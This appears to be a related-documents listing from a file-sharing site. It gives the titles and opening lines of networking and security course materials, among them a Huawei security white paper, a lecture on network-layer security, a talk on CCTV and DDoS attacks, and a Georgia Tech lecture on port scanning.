Security Technology White Paper Issue 01 Date 2012-10-30 HUAWEI TECHNOLOGIES CO., LTD. 2012. All rights reserved. No part of this document may be reproduced or transmitted in any form or by any means without
Chapter 4: Security of the architecture, and lower layer security (network security) 1
Chapter 4: Security of the architecture, and lower layer security (network security) 1 Outline Security of the architecture Access control Lower layer security Data link layer VPN access Wireless access
Presented By: Holes in the Fence. Agenda. IPCCTV Attack. DDos Attack. Why Network Security is Important
Presented By: Holes in the Fence Dave Engebretson, Contributing Technology writer, SDM Magazine Industry Instructor in Fiber and Networking Prevention of Security System breaches of networked Edge Devices
Laboratory work 4. Application of Windows OS Built-in Networks Diagnostic Tools
Laboratory work 4 Application of Windows OS Built-in Networks Diagnostic Tools Objectives Get acquainted with Windows OS command-line network diagnostic, monitoring and management tools and their application
Overview of TCP/IP. TCP/IP and Internet
Overview of TCP/IP System Administrators and network administrators Why networking - communication Why TCP/IP Provides interoperable communications between all types of hardware and all kinds of operating
Port Scanning and Vulnerability Assessment. ECE4893 Internetwork Security Georgia Institute of Technology
Port Scanning and Vulnerability Assessment ECE4893 Internetwork Security Georgia Institute of Technology Agenda Reconnaissance Scanning Network Mapping OS detection Vulnerability assessment Reconnaissance
